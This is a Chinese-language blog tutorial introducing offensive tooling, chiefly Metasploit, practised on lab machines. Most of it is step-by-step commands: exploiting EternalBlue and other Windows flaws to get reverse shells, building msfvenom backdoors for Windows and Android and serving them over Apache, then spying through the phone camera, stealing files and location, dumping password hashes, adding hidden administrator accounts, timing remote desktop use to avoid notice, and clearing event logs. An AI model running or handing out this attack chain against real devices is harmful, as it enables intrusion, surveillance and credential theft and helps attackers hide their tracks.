駭客玩具入門——4、漏洞掃描與Metasploit

Zaking發表於2023-11-30

1、Legion漏洞掃描分析工具

Legion是Sparta的一個分支,它是一個開源的、易於使用的、超級可擴充套件的、半自動的網路滲透測試框架。它是一款Kali Linux系統預設整合的Python GUI應用程式工具。Legion是一個Nmap、Nikto、Hydra等工具的集合,利用各個工具的優秀功能,完成收集資訊、掃描和爆破等任務。

Legion主要包含以下功能:埠掃描,程式自動呼叫Nmap進行掃描,根據Nmap的掃描結果,nikto自動載入結果,展開更精確的掃描。針對掃描結果,使用特定的工具,比如dirbuster目錄爆破,利用webslayer進行web指紋識別。針對可暴力破解的埠,呼叫hydra進行暴力破解。下面我們來看下如何使用這款工具:

首先我們先登入Metasploitable2,透過ifconfig命令獲取其IP地址。然後

開啟Legion工具。然後輸入sudo legion啟動工具。

點選加號。

在這裡輸入你要滲透的ip即可,然後點選submit按鈕即可。

2、漏洞利用searchsploit

首先,大家先記下一個地址:https://www.exploit-db.com/。它是專門用來收集各種漏洞的網站。在kali系統中,有搜尋漏洞資料庫的本地副本,我們可以在終端視窗中輸入命令去搜尋。

命令就是searchsploit,它的常用選項如下:

  1. -c,--case [Term]:執行區分大小寫的搜尋,預設搜尋對大小寫不敏感。
  2. -e,--exact [Term]:對exploit標題執行EXACT匹配(預設為AND)。
  3. -j,--json [Term]:以JSON格式顯示結果。
  4. -m,--mirror [EDB-ID]:將一個漏洞利用映象副本到當前工作目錄。
  5. -o,--overflow [Term]: exploit標題被允許溢位其列。
  6. -p,--path [EDB-ID]:顯示漏洞利用的完整路徑。如果可能, 還將複製路徑到貼上板。
  7. -t,--title [Term]:僅僅搜尋漏洞標題,預設是標題和檔案的路徑。
  8. -u,--update [Term]:檢查並安裝任何exploit-db軟體包更新。
  9. -w,--www [Term]:顯示exploit-db.com的URL而不是本地路徑(線上搜尋)。

下面我們看下例子:

  1. searchsploit -t oracle windows:搜尋標題中包含oracle windows的漏洞。
  2. searchsploit -p 3389:搜尋漏洞號為3389的漏洞。
  3. searchsploit mysql:查詢mysql的漏洞。
  4. searchsploit apple:查詢apple的漏洞。

實踐:

  1. 我們需要在win7上安裝一個easy file sharing的軟體,該軟體是一種允許訪客容易的經由瀏覽器上傳、下載檔案的檔案分享系統。
  2. 安裝完成後,我們可以在kali系統中,透過searchsploit easy file sharing命令,來檢視該軟體的一些漏洞。

  3. 然後我們找到/usr/share/exploitdb/exploits/windows/remote/。這個地址下的39009.py檔案。

  4. 由於是python指令碼所以我們使用python命令來執行,完整的命令是這樣的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
  5. 然後回車,就會發現windows7中的計算器開啟了。就說明你的指令碼入侵成功了。

3、Metasploit簡介

Metasploit被業內譽為可以黑掉整個宇宙的工具,雖然有些誇張,但是足以見得Metasploit有多強大。Metasploit是目前最流行、 最強大、最具擴充性的滲透測試平臺。2003年由HD摩爾釋出第一版,2007年用ruby語言重寫。後來被Rapid7收購後,分出了多個版本,有付費的,也有免費的。 Metasploit的官網是:https://www.metasploit.com/

我們可以在Kali系統中找到該軟體:

點選之後輸入系統root密碼,等待一會後,就變成這樣了:

4、Metasploit:埠掃描

實驗靶機:metasploitable2。

  1. 使用Nmap進行掃描,nmap xxx.xxx.xxx.xxx。
  2. metasploit模組進行掃描,search portscan。
  3. use auxiliary/scanner/portscan/tcp。
  4. show options,檢視需要設定的引數。
  5. set rhosts xxx.xxx.xxx.xxx。
  6. 然後輸入命令:run。即可。

5、Metasploit:SMB掃描

實驗靶機:win7。

SMB,全稱是Server Message Block,即服務資訊塊,是一個協議名。它能被用於Web連結和客戶端與伺服器之間的資訊溝通。透過掃描SMB,可以識別目標的系統資訊。

  1. search smb。
  2. use auxiliary/scanner/smb/smb_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

6、Metasploit:服務識別

實驗靶機:linux。

掃描伺服器的SSH服務。

  1. search ssh。
  2. use auxiliary/scanner/ssh/ssh_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

7、Metasploit:網路嗅探

獲取FTP密碼。

我們需要一個模擬使用者:win7。需要一個實驗靶機:Windows server 2008(帶有FTP服務)。

  1. use auxiliary/sniffer/psnuffle,使用嗅探模組。
  2. sudo su,如果許可權不夠的話,切換使用者。
  3. 輸入msfconsole,啟動Metasploit。
  4. 然後再實用模組,run即可。

8、Metasploit:SNMP掃描與列舉

SNMP是專門設計用於在IP網路管理網路節點(伺服器、工作站、路由器、交換機等)的一種標準協議,它是一種應用層協議。各種網路裝置上都可以看到預設啟用的SNMP服務,從交換機到路由器,從防火牆到網路印表機,無一例外。

本次的實驗靶機:Metasploitable2。

預設情況下,Metasploitable2的SNMP服務僅監聽本地主機。所以我們需要對靶機的預設配置做一下修改。

  1. cd /etc/default/snmpd。
  2. 然後透過vim編輯一下,snmpd.pid 後面的ip改成0.0.0.0即可。
  3. 然後跟之前一樣,搜尋snmp相關的模組:search snmp_login。
  4. 然後,use auxiliary/scanner/snmp/snmp_login。
  5. 然後就是set ip。再就是run。完了
  6. 我們還可以使用auxiliary/scanner/snmp/snmp_enum模組。這裡就不重複如何使用了。

9、Metasploit:掃描弱密碼主機

實驗靶機:多臺windows。

使用的模組:auxiliary/scanner/smb/smb_login。

知道ip地址範圍即可,批次掃描。

10、Metasploit:VNC身份識別

VNC(Virtual Network Console)是虛擬網路控制檯的縮寫。它是一款優秀的遠端控制工具軟體。VNC是在基於UNIX和Linux作業系統的免費的開源軟體,遠端控制能力強大,高效實用,其效能可以和windows和Mac中的任何遠端控制軟體媲美。在Linux中,VNC包括以下四個命令:

  1. vncserver
  2. vncviewer
  3. vncpasswd
  4. vncconnect

大多數情況,只需要1、2兩個命令即可。

實驗靶機:Metaspolitable2。

  1. use auxiliary/scanner/vnc/vnc_none_auth。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然後我們試下vnc密碼爆破

  1. use auxiliary/scanner/vnc/vnc_login。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然後我們有了密碼,試下vnc登入。

  1. 開啟一個新的終端。
  2. 然後輸入vncviewer xxx.xxx.xxx.xxx。
  3. 輸入爆破出來的密碼即可遠端連線上了。

11、Wmap網站漏洞掃描

Wmap本身不是一個獨立的漏洞掃描器,而是作為Metasploit的一個模組。結合Web漏洞和Web服務相關的模組協同工作,完成目標伺服器的掃描任務。它的掃描結果不會自動生成報告,而是直接存入Metasploit的資料庫。

  1. load wmap:載入wmap
  2. wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中新增一個掃描站點。
  3. wmap_sites -l:檢視已新增的站點。
  4. wmap_targets -d 0:根據已新增站點的ID,設定帶掃描的目標站點。
  5. wmap_targets -l:檢查已待掃描的目標主機。
  6. wmap_run -e:執行測試。
  7. vulns:掃描完成後,使用Metasploit命令檢查漏洞記錄。
  8. wmap_vulns -l。

實戰:

  1. 先在Kali的瀏覽器裡輸入你已開啟的Metasploitable2的虛擬機器的ip。不同版本瀏覽器的位置可能會有些區別,但是你一定可以找到的。

  2. 然後可以看到這樣一個超連結。

  3. 點選超連結,進入一個網站。這就是我們要掃描的網站。

  4. 然後執行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
  5. 然後執行:wmap_sites -l。檢視一下編號id。
  6. 然後執行測試:wmap_run -e。
  7. 等待結束後,可以透過vulns然後wmap_vulns -l命令檢視漏洞。

12、Metasploit遠端程式碼執行

實驗靶機:Window Server 2008/Windows 7。

  1. search ms17-010。ms:微軟。17:17年。010:第十個。
  2. 然後執行:use exploit/windows/smb/ms17_010_eternalblue。
  3. 設定一下相關的引數:
    • set rhosts xxx.xxx.xxx.xxx。
    • set payload windows/x64/shell/reverse_tcp。
    • set lhost xxx.xxx.xxx.xxx。
  4. run。

13、Metasploit:利用瀏覽器漏洞遠端執行程式碼

實驗靶機:Windows XP。漏洞利用:ms12-004。

  1. search ms12-004。
  2. use exploit/windows/browser/ms12_004_midi。
  3. set srvhost xxx.xxx.xxx.xxx(當前主機ip)。
  4. set payload windows/x64/shell/reverse_tcp。
  5. set lport 6666。
  6. run。
  7. 然後監聽成功後,會生成一個隨機的地址。在windows上開啟這個地址。回到kali的命令列中,可以檢視到它的session。
  8. 然後輸入命令:sessions。
  9. 然後使用session:sessions -i [session id]。
  10. 然後就可以進去了。

14、Metasploit:漏洞提權

實驗靶機:windows xp。

前提必須要有一個session會話。

  1. search ms08-067。
  2. use exploit/windows/smb/ms08_067_netapi。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. set lport 5555。
  5. run。
  6. sessions。
  7. search 14-002。
  8. use exploit/windows/local/bthpan。
  9. set session [session id]。
  10. set payload windows/meterpreter/reverse_tcp。
  11. set lport 6666。
  12. run。

其他模組:

  1. exploit/windows/local/ms13_053_schlamperei
  2. exploit/windows/local/ms13_081_track_popup_menu

15、Metasploit:生成後門

首先,windows、Linux、java、php、Android等後門都支援。嘿嘿。

1、生成windows後門

命令:

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -f exe -o /home/kali(你的home目錄下的使用者目錄)/payload.exe
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目錄下的使用者目錄)/payload.exe

Msfvenom:

  1. msfvenom --list archs,檢視支援的系統架構。
  2. msfvenom --list platforms,檢視支援系統平臺。
  3. msfvenom -l payload,檢視所有可用的payload。
  4. msfvenom -l formats,檢視所有的輸出格式。
  5. msfvenom -l encrypt,檢視所有的加密方式。
  6. msfvenom -l encoders,檢視所有的解碼器。

實踐:

  1. 先輸入上面的命令中的第一條命令,然後在你的home/XXX目錄下可以看到一個payload.exe檔案。
  2. 然後我們需要啟動apache服務:sudo service apache2 start。
  3. 然後在windows的虛擬機器裡,可以透過瀏覽器訪問kali的ip地址,就會列印出Apache服務。
  4. 然後我們把生成的exe檔案複製到windows中。
    1. 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令列刪吧)
      • cd /var/www/html。
      • sudo rm index.nginx-debian.html
      • sudo rm index.html
      • sudo cp /home/xx(你的使用者名稱)/payload.exe /var/www/html/
    2. 然後重新整理windows瀏覽器剛才的地址,就會看到一個檔案,然後把它儲存到本地的桌面上即可。
  5. 開啟Metasploit。(剛才的payload.exe相當於被控端,我們還需要和主控端結合使用)。設定使用模組及引數:
    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost xxx.xxx.xxx.xxx(你的主控端ip)
    4. set lport 5555
    5. run
  6. 然後出現下面的命令列主機名就說明我們成功了:

2、生成Android後門

實驗靶機:Android模擬器。

總體的流程跟windows後門是很類似的,只是使用的模組有些許的區別。我們需要修改一些配置:

  1. kali系統的網路連線模式改成橋接模式,因為安卓模擬器是安在物理主機上的,橋接模式之前講過了這裡不再多說。

  2. 安裝一個安卓模擬器,不要安裝騰訊手遊助手,那個更偏向遊戲玩耍。安裝個夜神啊啥的都行。注意,是安裝在你的物理機上的。
  3. 然後輸入:sudo ifconfig。我們會發現,ip地址變化了。

實驗開始:

  1. msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 R>/home/kali(你的home目錄下的使用者目錄)/payload.apk
  2. 同樣的開始Apache服務:sudo service apache2 start。
  3. 然後在你的安卓模擬器的瀏覽器裡,輸入你的kali虛擬機器的ip。
  4. 把你的apk安裝包複製到apache目錄下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
  5. 重新整理下安卓模擬器的目錄。發現有了新的apk檔案。
  6. windows的操作一樣,下載apk,安裝apk。
  7. 然後,開啟Metasploit。
  8. 使用主控端模組,跟windows一樣:use exploit/multi/handler。
  9. set payload android/meterpreter/reverse_tcp。
  10. set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
  11. set lport 5555。
  12. run

然後你就可以幹你想幹的事了。

3、遠端控制安卓手機,呼叫攝像頭拍照

  1. webacm_list,檢視有哪些攝像頭。
  2. webacm_snap,從指定的攝像頭拍攝快照:
    • -h:顯示幫助。
    • -i:要使用的網路攝像頭的索引號。
    • -p:JPEG影像檔案路徑。預設為HOME/[隨機亂碼名字].jpeg。
    • -q:JPEG影像質量,預設為50。
    • -v:自動檢視JPEG影像,預設為“true”。
  3. webcam_stream:從指定的網路攝像頭播放影片流。
  4. 然後,自己用命令去玩吧。
  5. 友情提示,連結你wifi的安卓手機,都可以這麼玩。所以,不要幹壞事!!!!違法的!!!

4、遠端控制安卓手機,上傳下載檔案

我們先來學下檔案系統命令:

  1. cat,讀取並輸出到標準輸出。
  2. cd,更改目錄。
  3. checksum,檢索檔案的校驗和。
  4. cp,將原始檔複製到目標資料夾。
  5. dir,列表檔案,ls的別名。
  6. download,從目標系統檔案下載。
  7. eidt,用vim編輯檔案。
  8. getlwd,列印本地目錄。
  9. getwd,列印工作目錄。
  10. lcd,更改本地目錄。
  11. lls,列出本地檔案。
  12. lpwd,列印本地工作目錄。
  13. ls,列出檔案。
  14. mkdir,建立目錄。
  15. mv,將原始檔移動到目標目錄。
  16. pwd,輸出工作目錄。
  17. rm,刪除檔案。
  18. search,搜尋檔案。
  19. upload,上傳檔案或目錄。

實踐從手機下載檔案,上傳檔案,大家可以自己嘗試哦:

  1. cd /
  2. ls
  3. cd sdcard
  4. ls
  5. cd DCIM
  6. ls
  7. cd Camera
  8. download 1.jpeg

5、遠端控制安卓手機,實現定位

具體的Android命令有很多,這裡就不多說了,大家有興趣可以自己去百度查下。然後實現定位就很簡單了,使用geolocate命令即可。

16、Meterpreter:Windows訪問檔案系統

  1. 首先,把網路連線模式修改成NAT模式
  2. windows執行之前生成好的exe檔案,如果不知道咋回事回頭看下。
  3. kali系統上開啟主控端:use exploit/multi/handler 。
  4. set payload windows/meterpreter/reverse_tcp。
  5. set lport 6666。
  6. set lhost xxx.xxx.xxx.xxx(主控端ip)。
  7. run。
  8. 跟之前一樣,被控端安裝下exe檔案。
  9. 然後就可以操作windows的系統檔案了。相關命令跟之前安卓部分的命令都差不多。這裡就不多說了。

17、Meterpreter:Windows許可權提升和獲取憑證

有的時候,你可能會發現自己的Meterpreter會話受到了使用者許可權的限制。修改登錄檔、安裝後門或匯出密碼等活動都需要提升用許可權。而Meterpreter給我們提供了一個getsystem命令,可以實現提權。

另外,getuid可以獲取當前的使用者資訊,system是系統的最高許可權。如果使用system命令仍無法獲取,那麼接下來可以使用之前學過的漏洞提權。

我們來看下漏洞提權的實踐步驟:

  1. search ms13-053。
  2. use exploit/windows/local/ms13_053_schlamperei。
  3. 然後我們需要設定一下session。之前學過的,這裡不說了。
  4. set session 1。
  5. set payload windows/meterpreter/reverse_tcp。
  6. set lport 6666。
  7. run。

提升許可權後,可以透過hashdump模組,從SAM資料庫中匯出本地賬號。資料的輸出格式是:

使用者名稱:SID:LM雜湊:NTLM雜湊:::

18、Meterpreter:Windows執行程式和螢幕截圖

快速執行命令指令碼:每次我們執行的命令內容基本上都是類似的,所以我們可以建立一個檔案。

  1.然後右鍵選擇用mousepad開啟。

  2.然後可以把我們常用的命令寫到這個指令碼里。內容如下:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.129

set lport 5555

  3.然後儲存檔案。

  4.開啟Metasploit。輸入這樣的命令:resource /home/(你的使用者名稱)/windows_control。

  5.指令碼就執行了。

  6.然後直接run。

  7.再開啟被控端就可以了。

1、執行程式

execute命令可以可以在目標系統中執行應用程式。該命令的使用方法如下:

  1. execute -f <file> [Options]
    • -H,建立一個隱藏程式。
    • -a,傳遞給命令的引數。
    • -i,跟程式進行互動。
    • -m,從記憶體中執行。
    • -t,使用當前偽造的執行緒令牌執行程式。
    • -s,在給定會話中執行程式。

然後哈哈哈哈哈,我們可以試一下這個命令:execute -f calc.exe。開啟Windows的計算器。哦吼,好玩吧。

2、螢幕截圖

screenshot命令來進行截圖,並儲存在kali中。

screenshare命令可以進行實時的監控。

19、Meterpreter:Windows建立新賬號和啟用遠端桌面

1、建立新賬號

透過getgui指令碼,使用-u和-p引數,並給它分配管理員許可權,然後將其新增到遠端桌面使用者組中。

run getgui -u hack -p pass123

注意:如果你的許可權不是SYSTEM,需要用之前學過的方法進行提權。提權之後再用上面的命令建立使用者。

2、啟用遠端桌面

如果使用者沒有開啟遠端桌面功能,那麼可以透過:

run getgui -e

來開啟遠端桌面。

在開啟遠端桌面之前,我們還需要使用idletime命令檢查遠端使用者的空閒時常,這樣可以降低你被發現的機率。

然後我們在新的終端執行:rdesktop [你的目標ip:3389]。

然後可能你建立的使用者許可權不夠。那麼你可以在Meterpreter中執行shell命令,也就是開啟你控制的目標主機的終端,執行下面的命令:

net localgroup administrators hack/add。這裡的hack就是你之前建立的使用者名稱。

20、Meterpreter:Windows程式繫結和清除事件日誌

1、程式繫結

Meterpreter可以透過與其他程式繫結來實現持久化。

  1. 使用ps命令檢視執行的程式。(當然要透過之前寫好的指令碼連結主控端和被控端,進入Meterpreter)
  2. 透過getpid命令,拿到當前你這個hack指令碼的程式。
  3. 然後我們隨便找一個ps列出來的程式繫結吧。使用migrate [pid]命令即可。
  4. 在檢視pid就會變成繫結的那個pid了。

2、清除日誌

可以透過clearev命令來清除日誌。

ps:我們可以透過右鍵計算機-》管理-》事件檢視器-》Windows日誌。來檢視日誌。

相關文章